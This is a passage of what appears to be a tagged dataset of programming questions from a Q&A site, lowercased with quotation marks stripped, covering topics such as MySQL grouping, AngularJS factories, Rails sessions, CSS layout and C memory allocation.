&lt;&lt; endl;         break;     case 4: break; //do nothing. exit condition     default: cout &lt;&lt;  please enter a number between 1 and 4  &lt;&lt; endl;         system( pause );     }  } while (menuselection != 4);  system( pause ); return 0; } int getmenuselection() { int menuselection = 0  attemp = 1; cout &lt;&lt;  marsx space vehicles company staff tool\n ; cout &lt;&lt;  \n------------------------------------------\n ; cout &lt;&lt;  \n1.convert from celsius ; cout &lt;&lt;  \n2.convert from fahrenheit ; cout &lt;&lt;  \n3.convert from kelvin ; cout &lt;&lt;  \n4.quit program ; cin &gt;&gt; menuselection; }   </code></pre>,c++
call viewdiddisappear in tabbar based application  i am using tab bar based iphone application.i have set <code>nstimer</code> in first two tabs.i want to invalidate this timer. so i am invalidating in <code>viewdiddisappear</code>. but when i am clicking on different tab  it will never call <code>viewdiddisappear</code>. i don t know how to call this method please help me...thanking you in advance...,iphone
java implementing sound clips  nullpointerexception  hi i am trying to create a class which plays sounds when i call them in a method. however  i get a null pointer exception every time i try to play a sound. i cannot figure out what object i have referenced but not linked  everything looks good to me!   <pre><code>import java.applet.*; import javax.swing.*; import java.net.*;  public class sound extends japplet// holds one audio file {     private audioclip song; // sound player     private url songpath; //audio path      public sound(string filename)     {         try         {             songpath = new url(getcodebase() filename); // get the sound url             song = applet.newaudioclip(songpath); // load the sound         }         catch(exception e){e.printstacktrace();} // satisfy the catch     }     public void playsound()     {         song.loop(); // play     }     public void stopsound()     {         song.stop(); // stop     }     public void playsoundonce()     {         song.play(); // play only once     }      public static void main(string[] args) {          sound s = new sound( gameover.wav );          s.playsoundonce();      } } </code></pre>,java
how to insert a new line inside a directive template in angular.js   hi i know this is an easy question how can you insert a new line in a directive template  i have a long template. and it is hard for me to scan through horizontally. i want to have it in a new line. however angular doesn t want.   <pre><code>app.directive( broadcasted   function(){ return{     restrict:  eac       // new line  the template not just in a single line     template:  &lt;div class= alert alert-success col-md-6  ng-repeat= x in bcards &gt;&lt;strong class= broadcast-text  &gt;&lt;% x.q_number %&gt; - &lt;% x.teller_id %&gt;&lt;/strong&gt;&lt;/div&gt;       link: function($scope){     } }; });      </code></pre>,angularjs
dismiss popover when uisearchbar is pressed  i have a popover presented from a uibarbuttonitem.  in the same uitoolbar  there is a uisearchbar.  i cannot figure out how to dismiss the uipopovercontroller when the searchbar is selected.  i didn t see any properties on the uisearchbar  or see anything in the delegate method itself  but maybe i missed it :-.  any help would be appreciated.  thanks.,iphone
check for duplicate entries into a mysql table  i have this table structure:   <pre><code>|------------|--------------|---------------|---------------| | lan_id     | lan_type     | lan_fr-ca     | lan_en-ca     | |------------|--------------|---------------|---------------| | 1          | web          | bonjour       | hello         | | 2          | web          | merci         | thanks        | | 3          | web          | merci         | thanks        | |------------|--------------|---------------|---------------| </code></pre>   how can i search for the duplicate entry      thanks.,mysql
comparing two date in php  i need to compare two dates    <pre><code>d1= 12-11-01(yy-mm-dd) and d2=2008-05-02(yyyy-mm-dd) </code></pre>   comparison <code>d2 &lt;= d1</code>    it is not working as per requirement    here please note that i need to compare dates with different date formats.,php
how to copy class variable and call in another file  in my main.cpp    <pre><code>void mainwindow::onfinish( imageresult* result ) m_imageidresult = *result; m_result = m_imageresult.allmetadata; </code></pre>   now i want to use the m_result in my another display.cpp file. how do i copy the m_result so that i can use it in the other file. i tried the following as i have m_display in header file of display.h   <pre><code>m_displaymodel-&gt;howtodefinethisfunction(m_result  asset-&gt; ); </code></pre>   i am sorry for this basic question  i have been unlucky with it and spent 2 days figuring it out. thanks a lot for your time.,c++
how to pull names for a .txt file into your python code  i have a .txt file name txbabynames  and i need to see what name is the most popular for males and for females. there is about over 1000 entries in this document. i am not sure how to go about getting this data into my python code.   <pre><code>babies = open ( c:\testdata\txbabynames.txt )`  femalecount = 0  malecount = 0 femaleyear1910 = 0 maleyear1910 = 0 femaleyear2012 = 0 maleyear2012 = 0 totalbabies = 0 myname1910 = 0 myname1910to1960 = 0 name = []  babies.readline()  for line in babies:     element = line.strip().split(   )      state  sex  year  name  freq = element     if sex ==  f :         femalecount = femalecount + 1     if sex ==  m :         malecount = malecount + 1     if sex ==  f  and year ==  1910 :         femaleyear1910 = femaleyear1910 + 1     if sex ==  m  and year ==  1910 :         maleyear1910 = maleyear1910 + 1     if sex ==  f  and year ==  2012 :         femaleyear2012 = femaleyear2012 + 1     if sex ==  m  and year ==  2012 :         maleyear2012 = maleyear2012 + 1     if year ==  2012 :         totalbabies = totalbabies + 1     if name ==  john  and year &gt;=  1910 :         myname1910 = myname1910 + 1     if name ==  john  and year &gt;=  1910  and year &lt;=  1960 :         myname1910to1960 = myname1910to1960 + 1  print( the total number of females are :  +str (femalecount))  print( the total number of males are :  +str (malecount))  print( the total number of females born in 1910 is:  +str(femaleyear1910))  print( the total number of males born in 1910 is:  +str(maleyear1910))  print( the total number of females born in 2012 are:  +str(femaleyear2012))  print( the total number of males born in 2012 are:  +str(maleyear2012))  print( the total number of babies born in 2012 are:  +str(totalbabies))  print( the total number of babies with my name since 1910 are:  +str(myname1910))  print( the total number of babies with my name in between the years 1910 and 1960 are:  +str(myname1910to1960)) </code></pre>,python
socket.connect() method fails for ipv6 address  here is my code and i am going to connect to the google using its ipv6 address  but socket.connect() method at last is throwing timeout exception  i need some solution for this and where should i change my code    <pre><code>        uri google = new uri( http://www.google.com );          ipaddress[] ips = dns.gethostentry(google.dnssafehost).addresslist;         ipaddress ipaddress = ips[0];         foreach (ipaddress ip in ips)         {             if (ip.addressfamily == addressfamily.internetworkv6)                 ipaddress = ip;         }          ipendpoint endpoint = new ipendpoint(ipaddress  80);          socket socket = new socket(endpoint.addressfamily  sockettype.stream  protocoltype.tcp);         socket.setsocketoption(socketoptionlevel.socket  socketoptionname.keepalive  true);         socket.setsocketoption(socketoptionlevel.socket  socketoptionname.receivetimeout  60 * 1000);         socket.setsocketoption(socketoptionlevel.socket  socketoptionname.sendtimeout  60 * 1000);         socket.connect(endpoint); </code></pre>,.net
transilerate accents in mysql like like  i have a very long list of users. i want to group them by first letter of name. if the first letter is not a letter  it s grouped under <code>#</code>  so i have max 27 groups  for <code>a-z</code> + <code>#</code>.    i want to show only the gorup labels (e.g. <code>f</code>) if it will have results  and for every letter i want to know how many results it will have. so i do a single group query to count all groups:   <pre><code>select   if(lastname regexp  ^[a-z]   upper(substring(lastname  1  1))   # ) first_char    count(1) num_users group by first_char </code></pre>   that seems to work  but using regexp means that <code>ö</code> isn t an <code>o</code>  but a <code>#</code>. that s a problem  because <code>like</code> does find <code> ö  =  o </code>  so it will be in the <code>o</code> group when i <code>name like  o% </code>. i could use regexp in the results query too  but i rather file <code>ö</code> under <code>o</code>.    so the <code>like</code> query works perfectly  but the group query doesn t. how do i do <strong>exactly</strong> what <code>like</code> does during comparisons   so the group numbers and results always perfectly match.    or another way to count correctly     <strong>edit 1</strong>    using <code>like a or like b or .. or like z</code> in the <code>if</code> doesn t even work  because then the group might be <code>ö</code> instead of <code>o</code>. the numbers will be correct  but the group label won t be. i really need a conversion...    <strong>edit 2</strong>    thanks to @mpen. <code>lastname regexp  ^[[:alpha:]] </code> is shorter than 26 <code>like</code>s  but the <code>ö</code> label problem remains. converting that outside mysql is easy though.,mysql
only show the highest amount on an inner join  we have an interactive map of america which shows the state which equals your requirement.    we have an problem with our database  we have two tables <code>staaten</code> and <code>economydata</code>.    our inner join    <pre><code>select staaten.staat_id  staat_name  economydata.industry_id  economydata.industrie_umsatz_anteil  from staaten  economydata  where staaten.staat_id = economydata.staat_i;` </code></pre>   gives us this output:   <pre><code>staat_id    staat_name    industry_id     industrie_umsatz_anteil    1           alabama       3               1 1           alabama       6               1 1           alabama       10              3 1           alabama       11              4 1           alabama       12              18 1           alabama       13              11 1           alabama       25              7 1           alabama       34              6 1           alabama       35              7  1           alabama       36              3 1           alabama       45              2 1           alabama       51              5 1           alabama       56              11 1           alabama       60              6 1           alabama       64              1 1           alabama       65              3 1           alabama       69              1 1           alabama       70              7 1           alabama       75              0 1           alabama       78              3 1           alabama       81              3 1           alabama       82              17 2           alaska        3               2 2           alaska        6               16 2           alaska        10              2 2           alaska        11              4 2           alaska        12              3 2           alaska        13              0 2           alaska        25              3 2           alaska        34              2 2           alaska        35              4 2           alaska        36              12 2           alaska        45              3 2           alaska        51              3 2           alaska        56              9 2           alaska        60              4 2           alaska        64              1 2           alaska        65              2 2           alaska        69              0 2           alaska        70              7 2           alaska        75              1 2           alaska        78              3 2           alaska        81              2 2           alaska        82              21 </code></pre>   but we only need one row per staate which only contains the highest <code>economydata.industrie_umsatz_anteil</code> with the <code>industry_id</code>.    the closest we got was with <code>select ... max(economydata.industrie_umsatz_anteil) from ... group by staaten.staat_name</code> but we lost the connection between <code>economydata.industrie_umsatz_anteil</code> and <code>industry_id</code>  it showed us the highest <code>industrie_umsatz_anteil</code> but not the right <code>industry_id</code>,mysql
how i increase the space between icon and the app border   in a activity that extends of actionbaractivity i use <code>supportrequestwindowfeature(window.feature_indeterminate_progress);</code> and <code>setsupportprogressbarindeterminatevisibility(true);</code> to show that mini-progress dialog as actionbar item menu.    how i can separate more to the screen     thanks!    <img src= https://i.stack.imgur.com/hyjiy.png  alt= enter image description here >,android
on duplicate key ignore   i m trying to finish this query; my tag field is set to unique and i simply want the database to ignore any duplicate tag.    <pre><code>insert into table_tags (tag) values ( tag_a ) ( tab_b ) ( tag_c ) on duplicate key ignore  *the offending tag and carry on*  </code></pre>   or even this would be acceptable   <pre><code>insert into table_tags (tag) values ( tag_a ) ( tab_b ) ( tag_c ) on duplicate key update  *the offending tag and carry on*  </code></pre>,mysql
what is the best practice to modify an object passed to a method  after passing an object into a method  i would like to change one of its fields. what s the best practice to do this task in java,java
prepare sub directory before saving uploaded file in rails   here is a method we used before saving a uploaded file in rails 4.2:   <pre><code>   def prepare_subdir()             dir = rails.root.join(@uploaded_file.storage_subdir).to_s        fileutils.mkdir_p(dir) unless file.directory (dir)    end </code></pre>   in debugging:   <pre><code>dir =  /upload/ext_construction_projectx_project/17  @uploaded_file.storage_subdir =  /upload/ext_construction_projectx_project/17  file.directory (dir) returns true  even though only sub directory /upload/ exists on file system. no directory /ext_construction_projectx_project and 17 exist. </code></pre>   we found no file saved after clicking <code>save</code>. do we need to make sure all sub directories including <code>ext_construction_projectx_project</code> and <code>17</code> have to be created before calling to save,ruby-on-rails
how to get the substring after a given string  i m new to c# and struggle with string parsing. i have a string like this:   <pre><code>c:\user\max\pictures\ </code></pre>   and i got multiple file paths:   <pre><code>c:\user\max\pictures\car.jpg c:\user\max\pictures\trains\train.jpg </code></pre>   how can i strip the base path from those file paths to get:   <pre><code>car.jpg trains\train.jpg </code></pre>   something like this failed:   <pre><code>string path =  c:\\user\\max\\pictures\\ ; string file =  c:\\user\\max\\pictures\\trains\\train.jpg ;  string newfile = file.substring(file.indexof(path)); </code></pre>,c#
is it true to do this to malloc array with unknown size  i want to make an array with unknown size   is it true to make it like this   :   <pre><code>int *array var i=0; file *fp; fopen=( /home/inputfile.txt   r ); fscanf(fp  %d  &amp;var); while(fp!=null) {     if(var&gt;0)    {         array=malloc(sizeof(int));         array[i++]=var    }    fscanf(fp  %d  &amp;var); } </code></pre>,c
how make two inputs appear as one output   i have these two inputs    <pre><code>// @property (strong  nonatomic) iboutlet uilabel *useroutput; @property (strong  nonatomic) iboutlet uitextfield *userinput; @property (strong  nonatomic) iboutlet uitextfield *usersecondinput; </code></pre>   i d like the sender to combine both inputs to appear on the output as a single line   <pre><code>- (ibaction)setoutput:(id)sender {     self.useroutput.text=self.userinput.text; } </code></pre>,objective-c
how can i expose local variables defined in anonymous function to the global space   i have a case where variables are defined inside an self-executing anonymous function. i want to expose them to the global space so i can use <code>foo</code> and <code>bar</code> after the anonymous function returns.   <pre><code>(function () {     var foo = 123;     var bar = function () { /* ... */ }; })(); </code></pre>   a problem is that i cannot simply do <code>window.foo = 123</code> or <code>someexistingglobalobject.foo = 123</code> to expose it because <em>i do not know what comes in inside the anonymous function in advance</em>. the content inside the function is dynamically generated.    i tried returning another self-executing function from that function  but that did not work  either. is this possible,javascript
jquery drop down .val .html  i am trying to populate a drop down list    i have the following:   <pre><code>    $( #dd_deg  ).append($( &lt;option&gt;&lt;/option&gt; ).val( hello ).html( va1 )); </code></pre>   what is the purpose of .val and .html. i see that val1 is what shows in the drop down but what is the purpose of .val,jquery
seek bar s draggable thumb  i want not to be able to move the draggable thumb of my seek bar. <code>progressbar.setclickable(false);</code> does not help.,android
migrating to  unwindforsegue()  from  segueforunwindingtoviewcontroller()   the apple api docs indicate that <code>segueforunwindingtoviewcontroller()</code> is deprecated and that i should use <code>unwindforsegue()</code> instead for use with a custom segue. i found <a href= https://stackoverflow.com/questions/32707698/custom-unwind-segue-for-ios-8-and-ios-9 >this post</a> but they still appear to use  segueforunwindingtoviewcontroller() .    i m not sure how to properly use the <code>unwindforsegue()</code> because <code>segueforunwindingtoviewcontroller()</code> took the following arguments   <ul> <li>toviewcontroller</li> <li>fromviewcontroller</li> <li>identifier</li> </ul>   and returned a  uistoryboardsegue . e.g.   <pre><code>  override func segueforunwindingtoviewcontroller(toviewcontroller: uiviewcontroller  fromviewcontroller: uiviewcontroller  identifier: string ) -&gt; uistoryboardsegue  {     return mycustomsegue(identifier: identifier!  source: fromviewcontroller  destination: toviewcontroller  performhandler: { () -&gt; void in } )   } </code></pre>   how do i pass my identifier and create my custom segue instance using the new <code>unwindforsegue()</code>,ios
traceback (most recent call last) error:  please help me n this i am not able to run getting error:   <pre><code>error: file  c:/python34/pyt.py   line 6  in &lt;module&gt;  class animal1: file  c:/python34/pyt.py   line 30  in animal1     cat = animal1( cat  7) nameerror: name  animal1  is not defined </code></pre>   code:   <pre><code>import random import sys import os   class animal1:     __name =        __age = 0      def __init__(self name age):         self.__nae = name         self.__age = age      def set_name(self __name):         self.__name = __name      def get_name(self):         return self.__name      def set_age(self __age):         self.__age = age      def get_age(self):         self.__age       def toprint(self):         return  animal is {} and age is {}       cat = animal1( cat  7)     print(cat.toprint()) </code></pre>,python
floating different height divs  i have a series of divs  all with the same width  but some with different heights.    i want it to look like this  with no gaps between the divs  flowing nicely underneath each other    <a href= https://i.stack.imgur.com/zln5o.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/zln5o.png  alt= enter image description here ></a>    but no matter what i try (i ve just been floating them left) it looks like this:   <pre><code>    .item { </code></pre>   float: left; }    <a href= https://jsfiddle.net/mo5kb6cm/  rel= nofollow noreferrer >fiddle to show what i don t want...</a>    <a href= https://jsfiddle.net/mo5kb6cm/  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/cwy26.png  alt= enter image description here ></a>    any ideas,css
how div automatically adjust their size and positions the element inside it  i am new to css. i don t know whether this question had answer or not. actually i have a page   <pre><code>&lt;body&gt;     &lt;div id= confirm &gt;         &lt;img src= images/help.png  alt= help icon &gt;         &lt;div id= message &gt;             are you sure you want to  deletesadcasdsaduasudashdhasdoiasnidosanidoasyduiasnduasnoidnasidonasiodashydioasndoiasndioasdhioasydoiasndioashydasiodsaoidasd          &lt;/div&gt;          &lt;button&gt;ok&lt;/button&gt;                    &lt;/div&gt;  &lt;/body&gt; </code></pre>   i am setting his style. here is my css   <pre><code>#confirm {      background-color: #ddd;     display:block;     width:400px;     min-height:120px;     position:absolute;     border:1px solid #ccc;     border-radius: 15px;     -moz-border-radius: 15px;              /*firefox*/     -webkit-border-radius: 15px;           /*opera  safari*/     behavior: url(css/border-radius.htc);  /*ie*/ }  #confirm img {     border:1px solid #ccc;     margin:20px 20px 0 20px;     float:left;     width:64px; }  #message {     width: 280px;     border:1px solid #ccc;     float: left;     white-space: normal;     margin:20px 0 0 0;     overflow: hidden; }  #confirm button {     position: relative;     width:68px;     margin:20px 180px 0 0;     float:right; } </code></pre>   right now when i run my code it produses output like this    <img src= https://i.stack.imgur.com/yeugv.png  alt= enter image description here >    now i want that no matter how large the text of the  message div  is. the  confirm div  automatically adjust their size and as well as positions all the elements inside it. like right now i have set  confirm div   min-height = 120 . as you see the text is cropping. the text should not be cropped  the size of message div should increase automatically depending on the size of text. as message div size increase  the confirm div also increase in height  confirm div adjust the image and button in it. finally all the elements should be inside the confirm div. or you can say that the message and image should always be remain in the center of the div. how can i do it     thanks    thanks,css
protecting dynamic array member of const struct  consider a <code>struct</code> with a dynamic allocated array as a member  for example:   <pre><code>struct matrix {     unsigned cols;     unsigned rows;     double* data; }; </code></pre>   how can i write a function like <code>print_matrix(const matrix);</code> that guarantees the data <code>data</code>points to is not modified     can i define something like    <pre><code>struct const_matrix {     const unsigned cols;     const unsigned rows;     const double* data; }; </code></pre>   and then implicitly convert a <code>struct matrix</code> to a <code>struct const_matrix</code>     <a href= http://pastebin.com/ybgclczn  rel= nofollow >here</a> is a small example why the first version does not work.,c
select table1 and count of table2  i have two tables like this    table1   <pre><code>orig1 orig2 orig3 xref1 xref2 xref3 1      1     1     2     2     2 1      1     1     3     3     3 23    23    23     12   12    12 </code></pre>   table2   <pre><code>orig1 orig2 orig3 xref1 xref2 xref3  version 1      1     1     1     1      1       0   expected output:-  orig1 orig2 orig3 count_table2 1 1 1 1 </code></pre>   i am trying to select the first 3 columns in table1 and count(*) from table2. i tried like this    select      orig1 orig2 orig3 from table1      count(table2.*) as t2  from table1      left join tabel2 on table1.orig1 = table2.orig1    its printing null only. any help would be appreciated.,mysql
how to access function in factory outside controller <pre><code>&lt;html&gt;     &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.4.8/angular.min.js &gt;&lt;/script&gt;   &lt;body&gt;     &lt;div ng-app= myapp &gt;          &lt;div ng-controller= firstctrl &gt;   firstname:&lt;input type= text  ng-model= data.firstname &gt;   lastname:&lt;input type= text  ng-model= data.lastname &gt;   &lt;br&gt;name is : &lt;strong&gt;{{data.firstname}}&amp;nbsp;{{data.lastname}}&lt;/strong&gt; &lt;/div&gt;  &lt;div ng-controller= secondctrl &gt;   name in 2nd controller: {{data.firstname}}&amp;nbsp;{{data.lastname}}   &lt;button ng-click= updatedata( kv   a ) &gt;click&lt;/button&gt; &lt;/div&gt; &lt;button onclick =  changeevn() /&gt;     &lt;/div&gt;     &lt;script&gt; var myapp = angular.module( myapp   []);     myapp.factory( myservice   function(){       return {         data: {           firstname:               lastname:            }          update: function(first  last) {           this.data.firstname = first;           this.data.lastname = last;         }       };     });  myapp.controller( firstctrl   function($scope  myservice){   $scope.data = myservice.data; }); myapp.controller( secondctrl   function($scope  myservice){    $scope.data = myservice.data;    $scope.updatedata = function(first  last) {      myservice.update(first  last);    } });   function changeevn()  {   alert( ok );   myapp.factory.update( hello    ..... );//doesn t work }     &lt;/script&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   in the above code value is passed between two controllers using factory .now i want to update first name and lastname using button click. button click function is outside the controller(i require that) . now how to access the update outside controller myapp.factory.update( hello    ..... ); this statement doesn t work,angularjs
can we trim all the variables we are using in javascript implicitly   i have to explicitly use trim() for too many variables. is there anyway i can apply trim to all the string values in code without calling trim explicitly     <strong>note:</strong> i asked this question out of curiosity to find if there is a way or possibility to do so. even i dont want to apply trim in all the scenarios. but yes i ve to use trim for all the literals and variables i use in an app(i ve such a req). so wanted to know if there is a common place where i can change instead of missing few places.,javascript
how to possible uitableviewcell swipe left and right without any button  i want to be able to swipe left or right anywhere in a table view cell to erase the cell of with animation without showing the delete button. how can i do this  see my use this code swipe cell left and right but right to left swipe is not perfectly <a href= https://github.com/dromaguirre/drcellslidegesturerecognizer  rel= nofollow >https://github.com/dromaguirre/drcellslidegesturerecognizer</a>,ios
usage of istream in class constructor c++  i have a text file that contains a list of students and their marks and looks like this:   <pre><code>name_of_student 78 4; 98 5; 90 5; 63 3; ... </code></pre>   i have an assignment to create a class that will read and store that data. this is what i ve done so far.   <pre><code>group.h class subject { public:     subject(int mark0  int mark1);     subject();     int get_m0() { return mark0; }     int get_m1() { return mark1; } private:     int mark0;     int mark1; };  class student { public:     student(string name);     student();     vector&lt;subject&gt;my_marks;     string get_name() { return name; } private:     string name; };  class reading { public:     reading(vector&lt;student&gt;  istream&amp; );     istream&amp; read_student(); private:     vector&lt;student&gt;group;     istream&amp; is; };  text.cpp subject::subject(int m0  int m1) : mark0(m0)  mark1(m1) {}  subject::subject() : mark0(1)  mark1(1) {}  student::student(string n0) : name(n0) {}  student::student() : name( null ) {}  reading::reading(vector&lt;student&gt;group0  istream&amp; is0) : group(group0)  is(is0) {}  istream&amp; reading::read_student() {     string n;     is &gt;&gt; n;     if (!is) return is;     student st = student(n);     for (int i = 0; i &lt; 4; ++i)     {         int m0  m1;         is &gt;&gt; m0 &gt;&gt; m1;         char ch;         is &gt;&gt; ch;         subject sub = subject(m0  m1);         st.my_marks.push_back(sub);     }     group.push_back(st);     return is; } </code></pre>   it compiles  but refuses to read anything.    <pre><code>int main() {    ifstream ifs( text );    if(!ifs) error( can`t open input file );    vector&lt;student&gt; group;    readding r(group  ifs);    r.read_student();    cout &lt;&lt; group.size(); } </code></pre>   and what it shows:   <pre><code>0 </code></pre>   if anyone has any ideas i d appreciate it.,c++
java: accessing values in boolean equals  i m still having some problems with the basics of accessing values in java.     in the following class <code>accessvariable</code> i can check  whether my local variable <code>x</code> equals my instance variable <code>x</code> by comparing <code>this.x == x</code>.   <pre><code>public class accessvariable {     private int x = 777;     public boolean equals (int x){        return this.x == x;    } } </code></pre>   but in another class <code>number</code> i have to write <code>this.n == n.n;</code>. why is that the case     <pre><code>public class number {    private int n = 0;     public boolean equals(number n){        // return true if this number is equal to n        return this.n == n.n;    } } </code></pre>,java
whitelabel ios application  i would like to build an ios whitelabel application which should be customizable to a certain extend and then submitted to app store without manual intervention. so i d like to know whether apple has api support that lets me talk to itunes and submit the app on behalf of the user.    i m looking at a solution similar to appbreeder where you can publish the app from the web builder and it will end up in appstore after the approval process. i m not quite sure if they are manually submitting the app to the appstore.,ios
cannot send session cache limiter - tried everything  i m getting this error:   <blockquote>    warning: session_start(): cannot send session cache limiter - headers already sent (output started at /home2/alson/public_html/ifix/users/tech/pending.php:2) in /home2/alson/public_html/ifix/users/tech/nav.php on line 3  </blockquote>   and this is the code for that part:   <pre><code>&lt; php        ob_start();     session_start();     $_session[ username ];     $_session[ type ];          if(!isset($_session[ type ])){              header ( location: ../components/login.php );          }  &gt; </code></pre>   i think i have tried everything. i ve put ob_start and ob_flush at the start and the end of file  made sure session_start is always on top  checked the file encoding if it s not utf-8 with bom but the problem still persists. if i remove the session_start()  the errors disappears but messes up the fetching of data. what can i do about this,php
how to get last record  (js)  i need to get last date time like 24-02-11 (updated desc) of my question but through javascript. my way doesnt work  but $time or $all_users working perfectly.   <pre><code>my_controller   $all_users                 = user.count( id )     $last_question             = question.find(:last  :order =&gt;  updated_at desc   :limit =&gt; 1)   $time                      = time.now.strftime( %d %b  %y ) </code></pre>   my_layout_view   <pre><code>  &lt;% javascript_tag do %&gt;     ext.blank_image_url =  &lt;%= image_path  /ext/resources/images/default/s.gif  %&gt; ;     &lt;%=  time = \ #{$time}\   %&gt;;     &lt;%=  last_question = \ #{$last_question}\   %&gt;;   &lt;% end %&gt;  </code></pre>   my_view   <pre><code>..........     items : [          {          region      :  north            minwidth    : 75           height      : 35           maxwidth    : 150           collapsible : false           resizable   : false              width       : 400           html        :  last question was:  &lt;b&gt; + last_question +  &lt;/b&gt;                                    } ....................... </code></pre>,ruby-on-rails
find page for a value in a list  what is the best and nicest solution to find the page for a value in a list that is for example paged by 10.    so i have <code>int 0-1000</code>. i page by <code>10</code>. so <code>23</code> will be at page <code>3</code>.     who has got a nice solution,.net
are array values stored in continuous blocks to in the memory(ram) in js   i know array values are properties of the particular array object  but i just wanted to know whether they are stored in continuous blocks of memory or not.,javascript
do member account need to join apple membership program if added into an organizations s account team    this may be a silly question  but i read all detail in the link below and still confusing.    <a href= https://developer.apple.com/support/enrollment/  rel= nofollow noreferrer >https://developer.apple.com/support/enrollment/</a>    question: i need to create a new (and first) apple id for my company (that hasn t experimented in ios development before) and join apple developer program for organizations. but i still not understand :   <ol> <li> is it true that my company only need to pay once (99$/year) for the team agent account   if we add another members  do their account need to be a paid account or just an apple id is enough   </li> <li> if 1 s answer is yes  is there any limitation for the number of member that team agent account can add   </li> </ol>   please help  and sorry for my bad english.,ios
will cause memory leak   considering this  <strong>pseudo-code</strong>  sequence:   <pre><code>variable x  malloc(x); free(x); malloc(x); free(x) //..so on </code></pre>   doing <code>malloc</code>  <code>free</code> sequence will cause memory leak  <code>realloc</code> is needed to be used instead,c
nsmutablearray or nsmutabledictionary : which is best for this scenario   i need to scroll through several thousands of words to categorize them... to determine which words have the same pattern. (this part works) for example  a four letter word that has two m s in 2nd &amp; 4th position represent a pattern ( -m-m ).  once i have gone through all the words  i will know how many words there are for any given pattern.  i am scrolling through now  but the problem i have is  remembering  how many words i have in any given pattern.    i was thinking of using nsmutabledictionary and have the key be the pattern ( -m-m- ) and the object represent the count of that pattern.  this means every time i come across a pattern  i look up that pattern in the dictionary  get the key  increment the key  and put it back in the dictionary.    i need help with both the decision and syntax for performing this task.    thank you,ios
jquery testing presence of value in field not working properly  i m working on a project and have a jquery event handler i made to try to detect the presence of user entered data in a field as it s being typed in. it kind of works with one weird side to it that has me a bit puzzled as to why this is happening.    the routine i wrote is this;   <pre><code>$(document).ready(function() {   $( #salary_bal ).on( change blur keydown   function() {     if($(this).val.length === 0 || $(this).val() ===   ) {       setsubmitstate( off );     } else {       setsubmitstate( on );     }   }); });  function setsubmitstate(state) {   switch(state) {     case  on :       $( #fssubmit ).attr( disabled   false);       $( #fssubmit ).addclass( button );       $( #fssubmit ).addclass( cursor );     break;     case  off :       $( #fssubmit ).attr( disabled   true);       $( #fssubmit ).removeclass( button );       $( #fssubmit ).removeclass( cursor );     break;   } } </code></pre>   as you can probably guess by the setsubmitstate calls  if the bound field does not have a value  it should disable the form s submit button.    like i said  this is  sorta  working right. the snag is that it s actually acting like it s responding to the previous character keyed in rather than an newly keyed in character.    here s the action sequences and their respective results;   <ol> <li>enter a single  x  into the field. <ul> <li>submit button does not become enabled.</li> </ul></li> <li>enter another  x  in the field. <ul> <li>submit button changes to enabled.</li> </ul></li> <li>backspace and delete one  x . <ul> <li>submit button remains enabled.</li> </ul></li> <li>backspace again leaving field empty. <ul> <li>submit button remains enabled.</li> </ul></li> <li>backspace one more time. <ul> <li>submit button changes to disabled.</li> </ul></li> </ol>   i have been banging my head against a wall trying to debug this and am getting tired of spinning my wheels. (not to mention the headache from the wall) can anyone offer a solution to this issue  please,jquery
sql: alias column name for use in case statement  is it possible to alias a column name and then use that in a case statement  for example    <pre><code>select col1 as a  case when a =  test  then  yes  end as value from table; </code></pre>   i am trying to alias the column because actually my case statement would be generated programmatically  and i want the column that the case statement uses to be specified in the sql instead of having to pass another parameter to the program.,sql
how to add an nsmutableindexset to another   i have an <code>nsmutableindexset</code> and i want to add indexes in it to another <code>nsmutableindexset</code> in my loop.      i ve been looking for right functions but unable to find anything.      how can i do that,objective-c
undefined method for nil:nilclass when render new post form and @posts together  it s a very strange bug bugged me for couple of hours already.    there are 3 models: user  school  post. basically on the school page(school#show)  there are a list of posts  and user can make new post.     the school controller:   <pre><code>def show   @school = school.find(params[:id])   $current_school = @school   @post = @school.posts.build if logged_in    @posts = @school.posts </code></pre>   the school/show.html.erb:   <pre><code>&lt;div&gt;   &lt;aside&gt;       &lt;%= render  shared/post_form  %&gt;   &lt;/aside&gt; &lt;/div&gt;   &lt;div&gt;   &lt;% if @school.posts.any  %&gt;       &lt;%= render @posts %&gt;   &lt;% end %&gt; &lt;/div&gt; </code></pre>   _post_form.html.erb:   <pre><code>&lt;%= form_for(@post) do |f| %&gt;   &lt;%= render  shared/error_messages   object: f.object %&gt;   &lt;div class= field &gt;     &lt;%= f.text_area :content  placeholder:  compose new post...  %&gt;   &lt;/div&gt;   &lt;%= f.submit  post   class:  btn btn-primary  %&gt; &lt;% end %&gt; </code></pre>   posts/_post.html.erb:   <pre><code>&lt;li&gt;   &lt;%= image_tag post.user.avatar.url(:thumb) %&gt;   &lt;span class= user &gt;&lt;%= link_to post.user.name  post.user %&gt;&lt;/span&gt;   &lt;span class= content &gt;&lt;%= post.content %&gt;&lt;/span&gt; &lt;/li&gt; </code></pre>   post controller:   <pre><code>def create   @post = $current_school.posts.create(content:params[:post[:content] user_id:current_user.id)   if @post.save     flash[:success] =  post created!      redirect_to $current_school   else     render  static_pages/home    end end </code></pre>   the problem is  when navigate to school#show  it says    <pre><code>undefined method `avatar  for nil:nilclass </code></pre>   if i delete the    <pre><code>      @post = @school.posts.build if logged_in  </code></pre>   line  and the _post_form.html.erb fragment  the list of posts shows fine. if i delete the _post.html.erb fragment  the new post function works fine as well.    but when they exist together  error comes up.    i guess the problem is at this line:   <pre><code>@post = @school.posts.build if logged_in  </code></pre>   because when i comment it out  the list of post shows fine. when i add it back  @posts can return a list of valid post  but post is nil.    couldn t figure out what s wrong  please help.    thanks    edit: when visit url/schools/1  it crashes with nilclass error  post command returns   <pre><code>#&lt;post id: nil  content: nil  user_id: nil  school_id: 1  created_at: nil  updated_at: nil&gt; </code></pre>   however  it should return the first post from @posts    is it possible that    <pre><code>    @post = @school.posts.build if logged_in  </code></pre>   assign @post a nil post  and when it renders @posts  it is looking for @post which become nil instead of first post in @posts  if so  how can i correct this     edit2: i tried to change @post to @test:   <pre><code>@test = @school.posts.build if logged_in  </code></pre>   and the same nilclass error persists. so my previous guess is not valid. there should be something wrong with using build here. but what s wrong,ruby-on-rails
